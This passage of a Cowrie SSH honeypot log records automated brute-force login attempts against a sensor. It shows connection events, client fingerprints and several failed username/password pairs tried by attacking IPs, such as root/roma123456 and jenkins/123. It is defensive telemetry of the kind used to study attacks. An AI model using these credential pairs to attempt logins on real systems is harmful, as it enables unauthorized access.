openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:19.939390Z","src_ip":"80.66.85.226","session":"6cf3cf6a597b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roma123456","message":"login attempt [root/roma123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:20.217092Z","src_ip":"80.66.85.226","session":"6cf3cf6a597b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:20.690843Z","src_ip":"91.92.40.36","session":"03ac2b5cd7e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:21.311782Z","src_ip":"80.66.85.226","session":"6cf3cf6a597b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36988,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a9aeb1d7b05","protocol":"ssh","message":"New connection: 91.92.40.36:36988 (10.17.0.5:22) [session: 8a9aeb1d7b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:27.797480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:28.061802Z","src_ip":"91.92.40.36","session":"8a9aeb1d7b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":46646,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7fbea4345f","protocol":"ssh","message":"New connection: 102.210.148.92:46646 (159.203.135.109:22) [session: 0f7fbea4345f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:28.655161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:28.661466Z","src_ip":"102.210.148.92","session":"0f7fbea4345f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:28.902345Z","src_ip":"102.210.148.92","session":"0f7fbea4345f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:28.923188Z","src_ip":"91.92.40.36","session":"8a9aeb1d7b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"201314","message":"login attempt [root/201314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:29.902345Z","src_ip":"102.210.148.92","session":"0f7fbea4345f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:31.148264Z","src_ip":"102.210.148.92","session":"0f7fbea4345f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osm","password":"123456","message":"login attempt [osm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:31.938301Z","src_ip":"91.92.40.36","session":"8a9aeb1d7b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37052,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d079a37f119","protocol":"ssh","message":"New connection: 91.92.40.36:37052 (10.17.0.5:22) [session: 1d079a37f119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:33.588507Z"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:33.756266Z","src_ip":"91.92.40.36","session":"8a9aeb1d7b05","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:33.815162Z","src_ip":"91.92.40.36","session":"1d079a37f119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:33.833208Z","src_ip":"91.92.40.36","session":"1d079a37f119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:36.316363Z","src_ip":"91.92.40.36","session":"1d079a37f119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:37.844761Z","src_ip":"91.92.40.36","session":"1d079a37f119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51134,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5f4d9c7245b","protocol":"ssh","message":"New connection: 91.92.40.36:51134 (10.17.0.5:22) [session: a5f4d9c7245b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:39.719254Z"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":45386,"dst_ip":"159.203.135.109","dst_port":22,"session":"107a726fa837","protocol":"ssh","message":"New connection: 97.74.87.152:45386 (159.203.135.109:22) [session: 107a726fa837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:40.174338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:40.178421Z","src_ip":"97.74.87.152","session":"107a726fa837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:40.403143Z","src_ip":"97.74.87.152","session":"107a726fa837","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:40.432472Z","src_ip":"91.92.40.36","session":"a5f4d9c7245b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:40.438744Z","src_ip":"91.92.40.36","session":"a5f4d9c7245b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rabbitmq","password":"123456","message":"login attempt [rabbitmq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:41.336505Z","src_ip":"97.74.87.152","session":"107a726fa837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:42.565328Z","src_ip":"97.74.87.152","session":"107a726fa837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123","message":"login attempt [jenkins/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:43.807079Z","src_ip":"91.92.40.36","session":"a5f4d9c7245b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:45.777374Z","src_ip":"91.92.40.36","session":"a5f4d9c7245b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32846,"dst_ip":"10.17.0.5","dst_port":22,"session":"645ff7c3fcfc","protocol":"ssh","message":"New connection: 91.92.40.36:32846 (10.17.0.5:22) [session: 645ff7c3fcfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:48.618027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:48.733788Z","src_ip":"91.92.40.36","session":"645ff7c3fcfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:49.177821Z","src_ip":"91.92.40.36","session":"645ff7c3fcfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test123","message":"login attempt [testuser/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:50.256080Z","src_ip":"91.92.40.36","session":"645ff7c3fcfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":46900,"dst_ip":"159.203.135.109","dst_port":22,"session":"da765da57d13","protocol":"ssh","message":"New connection: 103.82.20.28:46900 (159.203.135.109:22) [session: da765da57d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:50.965769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:50.971844Z","src_ip":"103.82.20.28","session":"da765da57d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:51.236188Z","src_ip":"103.82.20.28","session":"da765da57d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:51.366900Z","src_ip":"91.92.40.36","session":"645ff7c3fcfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"240683","message":"login attempt [root/240683] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:52.027888Z","src_ip":"103.82.20.28","session":"da765da57d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:53.293441Z","src_ip":"103.82.20.28","session":"da765da57d13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14220,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b838cd48418","protocol":"ssh","message":"New connection: 91.92.40.36:14220 (10.17.0.5:22) [session: 3b838cd48418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:56.190530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:56.406964Z","src_ip":"91.92.40.36","session":"3b838cd48418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:56.410535Z","src_ip":"91.92.40.36","session":"3b838cd48418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:57.357154Z","src_ip":"91.92.40.36","session":"3b838cd48418","protocol":"ssh"}
